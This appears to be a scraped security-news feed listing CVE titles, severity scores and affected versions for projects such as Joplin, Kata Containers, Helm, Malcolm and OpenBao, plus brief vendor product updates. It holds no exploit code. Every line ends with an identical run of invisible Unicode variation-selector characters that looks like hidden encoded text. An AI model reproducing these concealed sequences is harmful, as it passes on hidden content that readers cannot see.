• CVE-2026-46649: SSO Auth Code Login Missing Rate Limiting — 9-Digit Numeric Code Brute-Forceable via Unprotected Endpoint (affects <= 3.3.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-46650: Stored XSS in public share viewer via javascript: URL bypass in isAcceptedUrl (CVSS 4.4, affects <= 3.5.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-49450: Joplin desktop Windows auto-updater accepts signed installer from any publisher because app-update.yml has no publisherName (CVSS 7.1, affects <= 3.6.14)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-49453: Path traversal in resource sync — silent arbitrary file write outside the resource directory (CVSS 7.0, affects <=3.7.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-55105: Fountain embeds allow arbitrary script execution in published notes and the note viewer (CVSS 7.7, affects <=3.7.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-55210: SAML SSO account takeover via email-based account linking (missing is_external check in ssoLogin) (CVSS 7.4, affects <= 3.7.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-55179: Logic error in Joplin Server allows a signed-in user to read any note from its internal server ID (CVSS 6.5, affects <=3.7.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-55456: Path traversal vulnerability in sync logic allows a malicious sync target to create and overwrite arbitrary files (CVSS 8.8, affects <=3.7.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-59814: Stored XSS via inline-served note attachment on published shares (CVSS 7.6, affects <= 3.7.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-59816: Path traversal in transcribe proxy endpoint via URL-encoded slash (CWE-22) (CVSS 4.3, affects <= 3.7.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-59815: Pending share recipients can write items into shared folders before accepting invitations (CVSS 4.3, affects <= v3.6.15)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2025-57798: Denial of Service (DoS) via Uncontrolled Resource Allocation in Joplin Title Input (CVSS 5.5, affects < 3.3.13)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2025-27409: Path traversal in Joplin Server (CVSS 7.5, affects <= 3.3.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2025-24028: XSS in Rich Text Editor allows arbitrary code execution (CVSS 7.8, affects 3.2.6 - 3.2.11)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2024-53268: Lack of validation on openExternal allows XSS (CVSS 7.2, affects <3.0.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2024-49362: XSS on <a> Link in markdown preview (CVSS 7.7, affects 3.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2024-40643: Parsing error leading to XSS (CVSS 8.6, affects 3.0.13)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2023-39517: XSS when clicking on an untrusted <map> link (CVSS 7.3, affects < 2.12.8)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

JumpCloud: Ingest identity events into external SIEMs via continuous API pull in RAW or OCSF formats, or run historical export jobs from Directory Insights.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Enable REST APIs for AI Agent identity management — register, retrieve, update, suspend, activate, and delete agent identities, credentials, groups, group memberships, and application assignments via the new Agents API and Agent Groups API.
• Block unauthorized JumpCloud agent removal with Agent Uninstall Protection, on by default for agent v2.179.2 or later, requiring a per-device maintenance token on macOS, Windows, and Linux; manage exemptions using the Disable Agent Uninstall Protection policy and view protection status (On, Off, or Failed) from the device details or Devices list.
• Create login dialogs and announcement banners for users in the User Portal, targeted by user group, with configurable severity and message type, via the new Custom Messaging feature under Settings > User Portal > Custom Messaging.

Container & Image Security · 2026-11-02

• CVE-2026-77176: generated policy allows mounting attacker-chosen guest paths to specific locations (CVSS 8.1, affects <= 4.0.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2026-86072: Untrusted pod annotation bind-mounts any host path into the Kata guest, bypassing the operator allowlist (affects <= 3.32.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2026-93417: Dragonball: missing length validation in virtio-blk allows guest-to-host VM escape (affects >= 3.0.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2026-64676: kata-agent mem-agent ttRPC methods are not subject to agent-policy enforcement, letting an untrusted host tamper with confidential-guest memory management (CVSS 5.7, affects <= 3.31.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2026-50540: Config Path Annotation Arbitrary File Loading (CVSS 9.6, affects <=3.32.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2026-47243: runtime-rs: Guest-root to host-root escape via virtiofs (affects <= 3.30.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2026-44210: VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations (CVSS 9.9, affects <= 3.29.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2026-41326: CopyFile Policy Subversion via Symlinks (CVSS 8.2, affects v3.4.0 - v3.28.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2026-24834: Kata Container to Guest micro VM privilege escalation (CVSS 9.3, affects <= 3.26.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2026-24054: Runtime: Host block device can be hotplugged to the VM if the container image is malformed or contains no layers (CVSS 10.0, affects <= 3.25.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2025-58354: coco-tdx: malicious host can circumvent initdata verification (affects <=v0.15.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Backup & Recovery · 2026-11-02

• CVE-2026-45695: RCE via SSH ProxyCommand Injection (CVSS 9.8, affects <= 0.22.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-35206: Helm Chart extraction output directory collapse via Chart.yaml name dot-segment (CVSS 4.4, affects <=3.20.1,<=4.1.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-35204: Path traversal in plugin metadata version enables arbitrary file write outside Helm plugin directory (CVSS 8.6, affects >=4.0.0,<=4.1.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-35205: Plugin verification fails open when .prov is missing, allowing unsigned plugin install (CVSS 7.8, affects >=4.0.0,<=4.1.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2025-55198: Incorrect YAML Content Leads To Panic (CVSS 6.5, affects <= 3.18.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2025-55199: Helm Charts with Specific JSON Schema Values Can Cause Memory Exhaustion (CVSS 6.5, affects <= 3.18.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2025-53547: Chart Dependency Updating With Malicious Chart.yaml Content And Symlink (CVSS 8.5, affects <= 3.17.3, >= 3.18.0, <= 3.18.3 )⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2025-32386: Specially Crafted Chart Archive Can Cause Out Of Memory Termination (CVSS 6.5, affects < 3.17.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2025-32387: Specially Crafted JSON Schema Can Cause Stack Overflow (CVSS 6.5, affects < 3.17.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2024-25620: Dependency management path traversal (CVSS 6.4, affects < 3.14.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2023-25165: getHostByName Function Information Disclosure (CVSS 4.3, affects v3.0.0 - v3.11.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2022-23524: Denial of service through string value parsing (CVSS 7.5, affects <= v3.10.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2021-32690: Repository credentials passed to alternate domain (CVSS 8.6, affects <=3.6.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2021-21303: Unsanitized data displayed directly to user's terminal (CVSS 6.8, affects >3.0 and < 3.5.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2020-15187: plugin.yaml file allows for duplicate entries (CVSS 4.7, affects 2.0.0-2.16.10, 3.0.0-3.3.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2020-4053: Plugin archive directory traversal (CVSS 6.8, affects 3.0.0-3.2.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2020-7919: CVE-2020-7919 (CVSS 7.5, affects 2.0.0-2.16.7,3.0.0-3.0.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2020-11013: lookup Function Information Discolosure (CVSS 5.0, affects 3.1.0-3.1.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Public Key Infrastructure (PKI) · 2026-11-02

• CVE-2026-40611: Arbitrary File Write via Path Traversal in Webroot HTTP-01 Provider (CVSS 8.8, affects all)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Public Key Infrastructure (PKI) · 2026-11-02

• CVE-2025-54799: github.com/go-acme/lego/v4/acme/api does not enforce HTTPS (affects <=4.25.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-66913: Unauthenticated Upload Decompression Resource Exhaustion (DoS) in /json/upload and /submit_capture (affects <1.40.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-55835: Potential sub-system DoS due to parameter missmatch in notification (affects <=1.39.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2025-66460: XSS due to lack of escaping in HTML elements passed to Datatables (CVSS 6.1, affects <=1.35.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2025-66459: XSS due to unescaped error message passed to innerHTML (CVSS 6.1, affects <=1.35.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2025-66458: Multiple XSS due to unsafe use of f-strings in Markup (CVSS 6.1, affects <=1.35.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2025-65095: HTML injection due to improper user input sanitization (affects <=1.35.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

OT / ICS Security · 2026-11-02

• CVE-2026-107362: SSRF with full response-body readback via the FilePond fetch API in the file-upload component (CVSS 7.1, affects <= 26.08.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

OT / ICS Security · 2026-11-02

• CVE-2026-107333: Authorization bypass: an unresolved /./ segment defeats every nginx RBAC role restriction (CVSS 8.1, affects <= v26.08.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

OT / ICS Security · 2026-11-02

• CVE-2026-107361: Missing Server-to-Server (s2s) Authentication Configuration on Hedgehog Sensor Arkime Reachback Port (CVSS 4.2, affects <= v26.07.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

OT / ICS Security · 2026-11-02

• CVE-2026-107337: Unauthenticated script execution via CSRF in kiosk /script_call endpoint (CVSS 7.1, affects <= v26.07.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

OT / ICS Security · 2026-11-02

• CVE-2026-107336: Unauthenticated bypass of the nginx auth gate on the /iddash2ark/ Arkime shortcut (regex case-sensitivity mismatch + forwarded-identity confused deputy) (CVSS 6.5, affects = v26.07.1 (current CalVer line; also present in nginx_readonly.conf — note: pre-CalVer v6.4.3 is NOT affected))⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

OT / ICS Security · 2026-11-02

• CVE-2026-107334: Percent-Encoded Request Paths Bypass Malcolm's nginx RBAC (CVSS 5.4, affects <= v26.07.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

OT / ICS Security · 2026-11-02

• CVE-2026-107335: Raw-stream and Lzip Uploads Bypass Malcolm's Archive-Bomb Protections (CVSS 6.5, affects <= v26.07.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

OT / ICS Security · 2026-11-02

• CVE-2026-63133: Uncontrolled Resource Consumption in Archive Extraction (Inode-Exhaustion DoS) (CVSS 6.5, affects <= v26.06.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

OT / ICS Security · 2026-11-02

• CVE-2026-63134: Path Traversal in Archive Extraction Allows Arbitrary Directory Creation (CVSS 5.4, affects <= v26.06.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Malware Analysis · 2026-11-02

• CVE-2026-28407: Nested archive extraction failure can drop content from scan inputs (CVSS 5.3, affects < v1.21.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Malware Analysis · 2026-11-02

• CVE-2026-24845: OCI image scanning could expose registry credentials (CVSS 6.5, affects >= 0.10.0, < 1.20.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Malware Analysis · 2026-11-02

• CVE-2026-24846: Archive extraction could write outside extraction directory (CVSS 5.5, affects >= 1.8.0, < 1.20.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Code Security · 2026-11-02

Mend SCA adds an AI-powered Intelligent Agent for natural-language risk exploration and executive summaries across all projects⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Mend SCA now includes the Intelligent Agent, an AI assistant embedded in the platform that accepts natural language queries to explore capabilities, navigate to relevant views, and generate executive-level risk summaries across all applications and projects — enabled by default for organizations with a signed AI consent addendum.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Exploitation & C2 · 2026-11-02

• CVE-2026-41316: db_import unsafe deserialisation (CWE-502) exposes Metasploit to code execution via crafted XML/ZIP import (related to CVE-2026-41316) (CVSS 7.0, affects >= 4.0, < 6.5.5)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

ML Platforms & SDKs · 2026-11-02

• CVE-2026-61669: Snapshot Import Symlink Traversal Arbitrary File Write (CVSS 7.1, affects >= 0.4.4, < 0.5.8)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

ML Platforms & SDKs · 2026-11-02

• CVE-2026-103034: Guest-controlled symlinks in msb copy allow arbitrary file write on the host (CVSS 7.1, affects >= 0.5.3, < 0.6.7)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

ML Platforms & SDKs · 2026-11-02

• CVE-2026-61670: Secret values exposed in world-readable process arguments (CVSS 6.5, affects >= 0.3.0, < 0.5.10)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-44381: MISP - SQL injection via unvalidated ordering parameters in event and shadow attribute listings (CVSS 5.3, affects < 2.5.37)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-44380: MISP - Improper access control in auth key reset allows privilege escalation to site administrator (CVSS 7.2, affects < 2.5.37)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-44379: Improper UUID validation in MISP Collections (CVSS 5.3, affects < 2.5.37)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-39962: LDAP injection in MISP ApacheAuthenticate when using a user-controlled Apache environment variable (CVSS 9.6, affects 2.5.35)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2026-40606: LDAP Injection in mitmproxy (CVSS 4.8, affects <=12.2.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2025-57804: Vulnerable python-hyper/h2 dependency embedded in mitmproxy binaries (affects <= 12.1.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2025-23217: Mitmweb API Authentication Bypass Using Proxy Server (affects < 11.1.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2022-24766: Insufficient Protection against HTTP Request Smuggling in mitmproxy (CVSS 9.8, affects <=7.0.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Digital Forensics & Incident Response · 2026-11-02

• CVE-2026-46486: Path Traversal via unsanitized File identifiers in iOS Backup processing (affects <=2026.4.28)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Secure Access (VPN / SASE / ZTNA) · 2026-11-02

• CVE-2026-25793: Blocklist Bypass possible via ECDSA Signature Malleability (CVSS 8.1, affects >= 1.7.0, <= 1.10.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Post-Exploitation · 2026-11-02

• CVE-2026-27884: Arbitrary file write via path traversal in spider_plus module (CVSS 5.3, affects < 1.5.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

• CVE-2026-102733: Integer overflow in NetFlow v9 option template offset accumulation leads to heap OOB read (CVSS 7.5, affects Version 1.7.8 and earlier)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

• CVE-2026-102694: NULL pointer dereference in NetFlow v9 sub-template sequencer traversal (CVSS 7.5, affects Version 1.7.8 and earlier)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

• CVE-2026-102691: Integer overflow in PushArrayNextElement leads to array record header corruption in NBAR/ifvrf option data processing (CVSS 7.5, affects <= 1.7.8)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

• CVE-2026-94558: Legacy v1-layout file header ident field causes stack out-of-bounds read in nfdump (CVSS 5.5, affects Version 1.7.8 and earlier)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

• CVE-2026-94557: Heap out-of-bounds read parsing the interface/VRF name array record in nfdump (nfdump -r) (CVSS 5.5, affects Version 1.7.8 and earlier)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

• CVE-2026-94559: Malformed appendix block causes an excessive loop and log-flood denial of service in nfdump (CVSS 5.5, affects Version 1.7.8 and earlier)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

• CVE-2026-94553: Unauthenticated IPFIX withdraw-all leaves dangling template pointers, causing remote use-after-free in nfcapd (CVSS 7.5, affects Version 1.7.8 and earlier 1.7.x)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Code Security · 2026-11-02

noir adds query verbs, native Windows and npm installs, an Anthropic/Gemini AI provider, and 69 new framework detections⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Match a request to its route with noir trace, list routes that reach a file with noir reach FILE[:LINE], and filter by guard, sink, param, path or handler with noir query — all reading a saved report via --from or scanning live.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Control AI behaviour with new flags --ai-stream, --ai-key-file, and --ai-temperature, and attach per-endpoint review context using the new ai_context JSON Schema.
• Use a native Anthropic provider or a Gemini preset alongside existing AI providers, with explicit provider errors when misconfigured.

Model & Agent Protection · 2026-11-02

• CVE-2026-47128: nono: Sandbox escape on Linux via D-Bus: systemd-run --user (CVSS 6.1, affects < 0.55.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2026-76805: Environment Variable Disclosure via Response-Derived Data in DAST/Fuzz Mode (CVSS 5.3, affects >= 3.0.0, < 3.10.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2026-76804: Local File Read via Workflow File-Protocol Gate Bypass (CVSS 5.5, affects >= 3.0.0, < 3.10.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2026-76802: Arbitrary Command Execution via DAST Code Signature Bypass (CVSS 4.7, affects >= 3.0.0, < 3.10.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2026-76819: Arbitrary Code Execution via Goja JavaScript Engine Vulnerability (CVSS 8.6, affects >= 3.0.0, < 3.10.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2024-43405: Nuclei Template Signature Verification Bypass (CVSS 7.4, affects > 3.0.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2024-40641: Unsigned code template execution through workflows in projectdiscovery/nuclei (CVSS 7.4, affects > 3.0.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2023-37896: Nuclei < 2.9.9 - Sandbox restriction bypass (CVSS 5.9, affects < 2.9.9)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Secrets Detection & Management · 2026-11-02

• CVE-2026-104093: ACL Bypass via Non-Canonical URL Access in OpenBao (affects <2.6.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Secrets Detection & Management · 2026-11-02

• CVE-2026-104092: OpenBao's PKI ACME Issues Certificate With Unvalidated SANs (affects <2.6.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Secrets Detection & Management · 2026-11-02

• CVE-2026-104090: Remote Code Execution via sys/storage/raft/snapshot-force Plugin Catalog Replacement in OpenBao (affects <2.6.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Secrets Detection & Management · 2026-11-02

• CVE-2026-104088: OpenBao - Internal Operation Dispatching Leads to Token Creation (affects <2.6.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Secrets Detection & Management · 2026-11-02

• CVE-2026-63131: OpenBao Skips Stricter Deny Policy for LIST operations (affects <2.6.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Secrets Detection & Management · 2026-11-02

• CVE-2026-63132: OpenBao's Recovery Mode Vulnerable To Token Leakage via Timing Attack (affects <2.6.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Secrets Detection & Management · 2026-11-02

• CVE-2026-71543: OpenBao's Templated Policies Allow Privilege Escalation via Wildcard Characters (affects <2.6.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Secrets Detection & Management · 2026-11-02

• CVE-2026-77285: OpenBao Agent Writes Secrets to Stdout (affects <2.6.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Secrets Detection & Management · 2026-11-02

• CVE-2026-55775: OpenBao's System Backend allows Unauthorized Management of the containing Namespace (affects <=2.5.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

